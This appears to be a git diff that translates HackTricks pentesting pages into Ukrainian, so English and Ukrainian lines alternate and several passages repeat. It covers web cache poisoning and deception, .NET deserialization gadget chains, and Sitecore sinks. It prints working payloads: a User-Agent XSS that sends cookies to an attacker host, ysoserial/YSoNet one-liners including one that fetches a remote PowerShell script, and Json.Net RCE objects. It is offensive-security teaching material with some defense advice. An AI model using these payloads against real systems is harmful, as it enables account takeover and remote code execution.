3) Гонка маршрутизації CDN/WAF разом з авто-кешованим `.js` часто сіє отруєний кешований варіант HTML, який потім віддається іншим відвідувачам, що ділять ті ж умови ключа кешу (наприклад, ті ж `Vary` виміри, такі як `User-Agent`).
1) From a clean IP (avoid prior reputation-based downgrades), set a malicious `User-Agent` via browser or Burp Proxy Match & Replace.
2) In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best):
- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`.
- Immediately after: GET the main page (`/`).
3) The CDN/WAF routing race plus the auto-cached `.js` often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., same `Vary` dimensions like `User-Agent`).
Example header payload (to exfiltrate non-HttpOnly cookies):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Оперативні поради:
Operational tips:
- Багато CDN приховують заголовки кешу; poisoning може проявитися лише під час багатогодинних циклів оновлення. Використовуйте кілька різних IP-точок і знижуйте швидкість запитів, щоб уникнути тригерів rate-limit або проблем з репутацією.
- Використання IP з власної cloud-інфраструктури CDN іноді покращує узгодженість маршрутизації.
- Якщо присутній строгий CSP, це все одно працює, якщо відображення виконується в головному HTML-контексті і CSP дозволяє inline-виконання або обходиться через контекст.
- Багато CDNs приховують заголовки кешування; poisoning може проявлятися лише під час циклів оновлення в кілька годин. Використовуйте кілька vantage IPs і throttle, щоб уникнути rate-limit або тригерів репутації.
- Іноді використання IP із власного cloud CDN покращує консистентність маршрутизації.
- Якщо присутній строгий CSP, це все одно працює, якщо reflection виконується в основному HTML-контексті і CSP дозволяє inline execution або обходиться контекстом.
Вплив:
Impact:
- Якщо session cookies не мають прапорця `HttpOnly`, можливий zero-click ATO шляхом масового ексфільтрування `document.cookie` від усіх користувачів, яким сервовано poisoned HTML.
- Якщо session cookies arent `HttpOnly`, zero-click ATO можливий шляхом масової ексфільтрації `document.cookie` від усіх користувачів, яким відправлено poisoned HTML.
Захист:
Defenses:
- Припиніть відображати заголовки запитів у HTML; якщо неминуче — строго кодуйте за контекстом. Узгодьте політики кешування CDN та origin і уникайте варіацій на основі неперевірених заголовків.
- Переконайтесь, що WAF послідовно виконує інспекцію контенту для `.js` запитів і статичних шляхів.
- Перестаньте відображати request headers у HTML; суворо застосовуйте context-encode, якщо це неминуче. Узгодьте CDN та origin cache policies і уникайте varying по untrusted headers.
- Переконайтеся, що WAF застосовує content inspection послідовно до `.js` requests та static paths.
- Встановіть `HttpOnly` (та `Secure`, `SameSite`) на session cookies.
### Sitecore preauth HTML cache poisoning (unsafe XAML Ajax reflection)
@ -208,7 +208,7 @@ Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
This writes arbitrary HTML under an attackerchosen cache key, enabling precise poisoning once cache keys are known.
Це записує довільний HTML під attackerchosen cache key, що дозволяє точне отруєння кешу після того, як ключі кешу стануть відомі.
For full details (cache key construction, ItemService enumeration and a chained postauth deserialization RCE):
@ -216,51 +216,51 @@ For full details (cache key construction, ItemService enumeration and a chained
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## Уразливі приклади
## Вразливі приклади
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS пересилав фрагмент всередині URL без його видалення та генерував cache key, використовуючи лише host, path and query (ігноруючи fragment). Тому запит `/#/../?r=javascript:alert(1)` був відправлений на бекенд як `/#/../?r=javascript:alert(1)` і cache key не містив payload всередині, лише host, path and query.
ATS пересиляв фрагмент всередині URL без його видалення і генерував cache key тільки використовуючи host, path і query (ігноруючи фрагмент). Тому запит `/#/../?r=javascript:alert(1)` був відправлений на бекенд як `/#/../?r=javascript:alert(1)` і cache key не містив payload, лише host, path і query.
### GitHub CP-DoS
Відправлення некоректного значення в заголовку content-type викликало кешовану відповідь 405. У cache key містився cookie, тому атакувати було можливо лише неавторизованих користувачів.
Надсилання некоректного значення в заголовку content-type викликало кешовану відповідь 405. Cache key містив cookie, тому атаку було можливе проводити лише проти unauth користувачів.
### GitLab + GCP CP-DoS
GitLab використовує GCP buckets для зберігання статичного контенту. **GCP Buckets** підтримують **заголовок `x-http-method-override`**. Тож можна було відправити заголовок `x-http-method-override: HEAD` і отруїти кеш так, щоб він повертав порожнє тіло відповіді. Також могли підтримуватися методи типу `PURGE`.
GitLab використовує GCP buckets для зберігання static content. **GCP Buckets** підтримують **header `x-http-method-override`**. Тому можна було надіслати заголовок `x-http-method-override: HEAD` і отруїти кеш, щоб повертався порожній response body. Також підтримувався метод `PURGE`.
### Rack Middleware (Ruby on Rails)
В додатках на Ruby on Rails часто використовується Rack middleware. Призначення Rack коду — взяти значення заголовка **`x-forwarded-scheme`** і встановити його як scheme запиту. Коли надсилається заголовок `x-forwarded-scheme: http`, відбувається 301 redirect на ту ж локацію, що потенційно може спричинити Denial of Service (DoS) для цього ресурсу. Додатково, додаток може враховувати заголовок `X-forwarded-host` і перенаправляти користувачів на вказаний хост. Така поведінка може призвести до завантаження JavaScript-файлів з сервера атакуючого, що становить загрозу безпеці.
В Ruby on Rails застосунках часто використовується Rack middleware. Мета коду Rack — взяти значення заголовка **`x-forwarded-scheme`** і встановити його як scheme запиту. Коли надсилається заголовок `x-forwarded-scheme: http`, відбувається 301 redirect на ту ж локацію, що потенційно може спричинити Denial of Service (DoS) для цього ресурсу. Додатково додаток може враховувати заголовок `X-forwarded-host` і перенаправляти користувачів на вказаний host. Це може призвести до завантаження JavaScript файлів з сервера нападника, що становить ризик безпеки.
### 403 and Storage Buckets
Cloudflare раніше кешував відповіді 403. Спроба доступу до S3 або Azure Storage Blobs з некоректними Authorization заголовками призводила до відповіді 403, яка кешувалася. Хоча Cloudflare припинив кешувати 403 відповіді, така поведінка може все ще мати місце в інших proxy-сервісах.
Cloudflare раніше кешував 403 responses. Спроба доступу до S3 або Azure Storage Blobs з некоректними Authorization headers призводила до 403 response, який кешувався. Хоча Cloudflare перестав кешувати 403 responses, така поведінка може досі бути присутньою в інших proxy services.
### Injecting Keyed Parameters
Caches часто включають певні GET параметри в cache key. Наприклад, Fastly's Varnish кешував параметр `size` в запитах. Однак, якщо URL-encoded версія параметра (наприклад, `siz%65`) також була відправлена з некоректним значенням, cache key будувався з використанням коректного `size` параметра. Натомість бекенд обробляв значення з URL-encoded параметра. URL-encoding другого `size` параметра призводив до його опускання кешем, але до його використання бекендом. Присвоєння цього параметра значення 0 призводило до кешованої помилки 400 Bad Request.
Кеші часто включають певні GET параметри в cache key. Наприклад, Fastly's Varnish кешував параметр `size` у запитах. Проте, якщо також надсилалася URL-encoded версія параметра (наприклад, `siz%65`) з некоректним значенням, cache key будувався з правильного `size` параметра. Натомість бекенд обробляв значення в URL-encoded параметрі. URL-encoding другого `size` параметра призводило до його опущення кешем, але використовувалося бекендом. Призначення значення 0 цьому параметру призводило до cacheable 400 Bad Request помилки.
### User Agent Rules
Деякі розробники блокують запити з user-agents, що відповідають високонавантаженим інструментам типу FFUF або Nuclei, щоб керувати навантаженням на сервер. Іронічно, такий підхід може створити вразливості, як-от cache poisoning і DoS.
Деякі розробники блочать запити з user-agents, що співпадають з інструментами високого трафіку, такими як FFUF або Nuclei, щоб керувати навантаженням на сервер. Іронічно, такий підхід може вводити вразливості, як-от cache poisoning і DoS.
### Illegal Header Fields
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) визначає допустимі символи в іменах заголовків. Заголовки, що містять символи поза вказаним діапазоном **tchar**, теоретично мають викликати 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Помітним прикладом є Akamai, який пересилає заголовки з недійсними символами і кешує будь-яку помилку 400, за умови відсутності заголовка `cache-control`. Було виявлено експлуатований сценарій, коли надсилання заголовка з нелегальним символом, наприклад `\`, призводило до кешованої помилки 400 Bad Request.
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) визначає прийнятні символи в іменах заголовків. Заголовки, що містять символи поза вказаним діапазоном **tchar**, ідеально мали б викликати 400 Bad Request response. На практиці сервери не завжди дотримуються цього стандарту. Помітним прикладом є Akamai, який пересилає заголовки з invalid characters і кешує будь-яку 400 помилку, якщо лише не присутній заголовок `cache-control`. Була виявлена експлойтибельна модель, де надсилання заголовка з illegal character, наприклад `\`, призводило до cacheable 400 Bad Request.
### Finding new headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Cache Deception
The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
Насамперед зауважте, що **extensions** такі як `.css`, `.js`, `.png` тощо зазвичай **сконфігуровані** так, щоб **зберігатися** в **cache.** Тому, якщо ви звертаєтесь до `www.example.com/profile.php/nonexistent.js`, кеш, ймовірно, збереже response, оскільки бачить `.js` **extension**. Але якщо **application** повертає відповіді зі **sensitive** даними користувача, що зберігаються в _www.example.com/profile.php_, ви можете **steal** ці дані інших користувачів.
Other things to test:
Інші речі для тестування:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
@ -269,19 +269,19 @@ Other things to test:
- _www.example.com/profile.php/%2e%2e/test.js_
- _Use lesser known extensions such as_ `.avif`
Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
Ще один дуже показовий приклад можна знайти в цьому write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
У прикладі пояснюється, що якщо ви завантажуєте неіснуючу сторінку на кшталт _http://www.example.com/home.php/non-existent.css_, вміст _http://www.example.com/home.php_ (**з чутливою інформацією користувача**) буде повернутий і cache server збереже результат.\
Після цього **attacker** може відкрити _http://www.example.com/home.php/non-existent.css_ у власному браузері і спостерігати **конфіденційну інформацію** користувачів, які заходили раніше.
Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type.
Зауважте, що **cache proxy** має бути **сконфігурований** так, щоб **кешувати** файли **на основі** **extension** файлу (_.css_), а не на основі content-type. У прикладі _http://www.example.com/home.php/non-existent.css_ матиме `text/html` content-type замість `text/css` mime type.
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Автоматичні інструменти
## Automatic Tools
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
## Посилання
## References
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)

View File

@ -1,28 +1,28 @@
# Базова десеріалізація .Net (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
Цей пост присвячено **розумінню того, як гаджет ObjectDataProvider експлуатується** для отримання RCE та **як** бібліотеки серіалізації **Json.Net і xmlSerializer можуть бути зловживані** з цим гаджетом.
Ця публікація присвячена **розумінню того, як gadget ObjectDataProvider експлуатується** для отримання RCE і **як** бібліотеки Serialization **Json.Net та xmlSerializer можуть бути зловживані** з цим gadget.
## ObjectDataProvider Гаджет
## ObjectDataProvider Gadget
З документації: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
Так, це дивне пояснення, тож подивімося, що ж у цього класу такого цікавого: цей клас дозволяє **обгорнути довільний об'єкт**, використовувати _**MethodParameters**_ щоб **задати довільні параметри**, а потім **використати MethodName щоб викликати довільну функцію** довільного об'єкта з заданими параметрами.\
Так, це дивне пояснення, тому подивимось, що в цій класі такого цікавого: цей клас дозволяє **обгорнути довільний об'єкт**, використовувати _**MethodParameters**_ щоб **задати довільні параметри,** а потім **використати MethodName щоб викликати довільну функцію** довільного об'єкта з заданими параметрами.\
Отже, довільний **об'єкт** буде **виконувати** **функцію** з **параметрами під час десеріалізації.**
### **Як це можливо**
### **How is this possible**
Простір імен **System.Windows.Data**, який знаходиться всередині **PresentationFramework.dll** за шляхом `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, — це місце, де визначено та реалізовано ObjectDataProvider.
Простір імен **System.Windows.Data**, який знаходиться в **PresentationFramework.dll** за шляхом `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, — це місце, де визначено та реалізовано ObjectDataProvider.
Використовуючи [**dnSpy**](https://github.com/0xd4d/dnSpy) ви можете **переглянути код** класу, який нас цікавить. На зображенні нижче ми бачимо код **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
Використовуючи [**dnSpy**](https://github.com/0xd4d/dnSpy) ви можете **проінспектувати код** класу, який нас цікавить. На зображенні нижче ми бачимо код **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
![](<../../images/image (427).png>)
Як видно, коли встановлюється `MethodName`, викликається `base.Refresh()`, давайте подивимось, що воно робить:
Як ви можете помітити, коли встановлюється `MethodName`, викликається `base.Refresh()`, давайте подивимось, що це робить:
![](<../../images/image (319).png>)
Добре, продовжимо і подивимось, що виконує `this.BeginQuery()`. `BeginQuery` перевизначено в `ObjectDataProvider` і ось що воно робить:
Окей, продовжимо і подивимось, що робить `this.BeginQuery()`. `BeginQuery` перевизначений в `ObjectDataProvider` і ось що він робить:
![](<../../images/image (345).png>)
@ -30,9 +30,9 @@
![](<../../images/image (596).png>)
Зверніть увагу, що це не повний код функції `QueryWorker`, але тут показано її цікаву частину: код **викликає `this.InvokeMethodOnInstance(out ex);`** — це рядок, де виконується встановлений метод.
Зверніть увагу, що це не повний код функції `QueryWorker`, але показано її цікавий фрагмент: код **викликає `this.InvokeMethodOnInstance(out ex);`** — це рядок, де **виконується встановлений метод**.
Якщо ви хочете перевірити, що просто встановлення _**MethodName**_ **приведе до його виконання**, ви можете запустити цей код:
Якщо ви хочете перевірити, що просте встановлення _**MethodName**_ **приведе до його виконання**, ви можете запустити цей код:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -52,16 +52,16 @@ myODP.MethodName = "Start";
}
}
```
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
Зауважте, що потрібно додати як reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ щоб завантажити `System.Windows.Data`
## ExpandedWrapper
Використовуючи попередній експлойт, трапляються випадки, коли **об'єкт** буде **десеріалізований як** екземпляр _**ObjectDataProvider**_ (наприклад в DotNetNuke vuln, використовуючи XmlSerializer, об'єкт десеріалізувався за допомогою `GetType`). Тоді не буде **жодної інформації про тип об'єкта, що обгорнутий** в екземплярі _ObjectDataProvider_ (наприклад `Process`). Ви можете знайти більше [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Використовуючи попередній exploit, будуть випадки, коли **object** буде **deserialized as** екземпляр _**ObjectDataProvider**_ (наприклад, у DotNetNuke vuln, використовуючи XmlSerializer, об'єкт був десеріалізований за допомогою `GetType`). У таких випадках не буде **знань про тип об'єкта, що обгорнутий** в екземплярі _ObjectDataProvider_ (наприклад `Process`). Ви можете знайти більше [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\
Це дуже корисно для випадків, подібних до описаного вище, тому що ми зможемо **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
Цей клас дозволяє **вказати типи об'єктів, які інкапсульовані** в даному екземплярі. Отже, цей клас може бути використаний для інкапсуляції вихідного об'єкта (_ObjectDataProvider_) у новий тип об'єкта та надання потрібних нам властивостей (_ObjectDataProvider.MethodName_ та _ObjectDataProvider.MethodParameters_).\
Це дуже корисно для випадків, подібних до описаного вище, оскільки ми зможемо **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
Ви можете перевірити цю обгортку за допомогою наступного коду:
Ви можете перевірити цей wrapper за допомогою наступного коду:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
На [офіційній сторінці](https://www.newtonsoft.com/json) вказано, що ця бібліотека дозволяє **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Отже, якщо ми зможемо **deserialize the ObjectDataProvider gadget**, ми зможемо спричинити **RCE**, просто deserializing an object.
На [офіційній веб-сторінці](https://www.newtonsoft.com/json) вказано, що ця бібліотека дозволяє **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Отже, якщо ми зможемо **deserialize the ObjectDataProvider gadget**, ми зможемо викликати **RCE**, просто десеріалізувавши об'єкт.
### Json.Net приклад
### Приклад Json.Net
По-перше, давайте подивимося приклад того, як **serialize/deserialize** об'єкт з використанням цієї бібліотеки:
По-перше, давайте подивимось приклад того, як **serialize/deserialize** об'єкт, використовуючи цю бібліотеку:
```java
using System;
using Newtonsoft.Json;
@ -134,7 +134,7 @@ Console.WriteLine(desaccount.Email);
```
### Зловживання Json.Net
Використовуючи [ysoserial.net](https://github.com/pwntester/ysoserial.net) я створив експлойт:
Використовуючи [ysoserial.net](https://github.com/pwntester/ysoserial.net) я створив exploit:
```java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
@ -147,7 +147,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
У цьому коді ви можете **test the exploit**, просто запустіть його, і ви побачите, що запускається calc:
У цьому коді ви можете **test the exploit**, просто запустіть його і ви побачите, що calc виконується:
```java
using System;
using System.Text;
@ -184,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto
}
}
```
## Розширені .NET Gadget Chains (YSoNet & ysoserial.net)
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
Техніка ObjectDataProvider + ExpandedWrapper, описана вище, — лише один із БАГАТЬОХ gadget chains, які можна зловживати, коли застосунок виконує **unsafe .NET deserialization**. Сучасні інструменти red-team, такі як **[YSoNet](https://github.com/irsdl/ysonet)** (та старіша [ysoserial.net](https://github.com/pwntester/ysoserial.net)), автоматизують створення **готових до використання шкідливих object graphs** для десятків gadgets і форматів серіалізації.
Техніка ObjectDataProvider + ExpandedWrapper, описана вище, — лише один із БАГАТЬОХ gadget chain-ів, якими можна зловживати, якщо додаток виконує **unsafe .NET deserialization**. Сучасні інструменти для red-team, такі як **[YSoNet](https://github.com/irsdl/ysonet)** (та старіший [ysoserial.net](https://github.com/pwntester/ysoserial.net)), автоматизують створення **готових до використання шкідливих об’єктних графів** для десятків гаджетів і форматів серіалізації.
Нижче наведено стисле довідкове резюме найбільш корисних chain-ів, що постачаються з *YSoNet*, разом із коротким поясненням їх роботи та прикладами команд для генерації payload-ів.
Нижче наведена стисла довідка по найкориснішим ланцюжкам, що постачаються з *YSoNet*, з коротким поясненням їх роботи та прикладами команд для генерації payload-ів.
| Gadget Chain | Ключова ідея / примітива | Поширені серіалізатори | YSoNet one-liner |
|--------------|--------------------------|------------------------|------------------|
| **TypeConfuseDelegate** | Пошкоджує запис `DelegateSerializationHolder`, тож після матеріалізації делегат вказує на *будь-який* метод, заданий атакуючим (наприклад `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Зловживає `System.Workflow.ComponentModel.ActivitySurrogateSelector`, щоб *обійти .NET ≥4.8 type-filtering* і безпосередньо викликати **конструктор** заданого класу або **скомпілювати** C# файл на льоту | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Використовує **legacy XML** представлення `System.Data.DataSet` для інстанціації довільних типів шляхом заповнення полів `<ColumnMapping>` / `<DataType>` (за потреби підроблюючи збірку через `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | На середовищах з WPF (> .NET 5) ланцюжить геттери властивостей до досягнення `System.CodeDom.Compiler.CompilerResults`, після чого *компілює* або *завантажує* DLL, передану через `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Використовує WPF `System.Windows.Data.ObjectDataProvider` для виклику довільного статичного методу з керованими аргументами. YSoNet додає зручний варіант `--xamlurl` для хостингу шкідливого XAML віддалено | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Вбудовує `ScriptBlock` у `System.Management.Automation.PSObject`, який виконується під час десеріалізації об'єкта PowerShell | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Corrupts the `DelegateSerializationHolder` record so that, once materialised, the delegate points to *any* attacker supplied method (e.g. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Abuses `System.Workflow.ComponentModel.ActivitySurrogateSelector` to *bypass .NET ≥4.8 type-filtering* and directly invoke the **constructor** of a provided class or **compile** a C# file on the fly | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Leverages the **legacy XML** representation of `System.Data.DataSet` to instantiate arbitrary types by filling the `<ColumnMapping>` / `<DataType>` fields (optionally faking the assembly with `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | On WPF-enabled runtimes (> .NET 5) chains property getters until reaching `System.CodeDom.Compiler.CompilerResults`, then *compiles* or *loads* a DLL supplied with `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Uses WPF `System.Windows.Data.ObjectDataProvider` to call an arbitrary static method with controlled arguments. YSoNet adds a convenient `--xamlurl` variant to host the malicious XAML remotely | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Embeds `ScriptBlock` into `System.Management.Automation.PSObject` that executes when PowerShell deserialises the object | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> За замовчуванням всі payloads **виводяться в *stdout***, що дозволяє легко перенаправити їх в інші інструменти (наприклад ViewState generators, base64 encoders, HTTP clients).
> All payloads are **written to *stdout*** by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients).
### Збірка / Встановлення YSoNet
### Building / Installing YSoNet
Якщо під *Actions ➜ Artifacts* / *Releases* немає попередньо зібраних бінарників, наступний **PowerShell** one-liner налаштує середовище збірки, склонує репозиторій і скомпілює все в режимі *Release*:
Якщо попередньо зкомпільовані бінарні файли відсутні в *Actions ➜ Artifacts* / *Releases*, наступний однорядковий PowerShell-командлет налаштує середовище збірки, клонуватиме репозиторій і зкомпілює все в режимі *Release*:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@ -216,20 +216,20 @@ cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
Скомпільований `ysonet.exe` можна знайти в `ysonet/bin/Release/`.
### Виявлення та посилення безпеки
* **Виявляйте** несподівані дочірні процеси `w3wp.exe`, `PowerShell.exe`, або будь-який процес, який десеріалізує дані, надані користувачем (наприклад `MessagePack`, `Json.NET`).
* Увімкніть та **примусово застосовуйте фільтрацію типів** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*), коли старий `BinaryFormatter` / `NetDataContractSerializer` не можна видалити.
* За можливості переходьте на **`System.Text.Json`** або **`DataContractJsonSerializer`** з конвертерами на основі білого списку.
* Блокуйте небезпечні збірки WPF (`PresentationFramework`, `System.Workflow.*`) від завантаження у веб-процесах, яким вони ніколи не повинні бути потрібні.
### Виявлення та посилення захисту
* **Виявляйте** несподівані дочірні процеси `w3wp.exe`, `PowerShell.exe`, або будь-якого процесу, що десеріалізує дані, надані користувачем (наприклад, `MessagePack`, `Json.NET`).
* Увімкніть та **примусово застосуйте фільтрацію типів** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) коли застарілий `BinaryFormatter` / `NetDataContractSerializer` не може бути видалений.
* За можливості мігруйте на **`System.Text.Json`** або **`DataContractJsonSerializer`** з конвертерами на основі білого списку.
* Блокуйте небезпечні WPF збірки (`PresentationFramework`, `System.Workflow.*`) від завантаження у веб-процесах, яким вони ніколи не потрібні.
## Реальний приклад sink: Sitecore convertToRuntimeHtml → BinaryFormatter
## Реальний sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Практичний .NET sink, доступний у автентифікованих потоках Sitecore XP Content Editor:
- API sink: `Sitecore.Convert.Base64ToObject(string)` викликає `new BinaryFormatter().Deserialize(...)`.
- Шлях запуску: pipeline `convertToRuntimeHtml``ConvertWebControls`, який шукає сусідній елемент з `id="{iframeId}_inner"` і читає атрибут `value`, який розглядається як base64кодовані серіалізовані дані. Результат приводиться до рядка і вставляється в HTML.
- Sink API: `Sitecore.Convert.Base64ToObject(string)` обгортає виклик `new BinaryFormatter().Deserialize(...)`.
- Trigger path: pipeline `convertToRuntimeHtml``ConvertWebControls`, який шукає сусідній елемент з `id="{iframeId}_inner"` і читає атрибут `value`, що трактують як base64encoded серіалізовані дані. Результат приводиться до string і вставляється в HTML.
Мінімальний endtoend (автентифікований):
```
@ -246,9 +246,9 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
- Gadget: будь‑який BinaryFormatter chain, що повертає string (побічні ефекти виконуються під час десеріалізації). Див. YSoNet/ysoserial.net для генерації payloads.
- Gadget: будь-який BinaryFormatter chain, що повертає string (sideeffects виконуються під час deserialization). Див. YSoNet/ysoserial.net, щоб згенерувати payloads.
Для повного ланцюжка, який починається preauth з HTML cache poisoning у Sitecore і веде до цього sink:
Для повного chain, який починається preauth з HTML cache poisoning у Sitecore та призводить до цього sink:
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md

View File

@ -4,7 +4,7 @@
## Загальна методологія завантаження файлів
Other useful extensions:
Інші корисні розширення:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
@ -17,11 +17,11 @@ Other useful extensions:
### Обхід перевірок розширень файлів
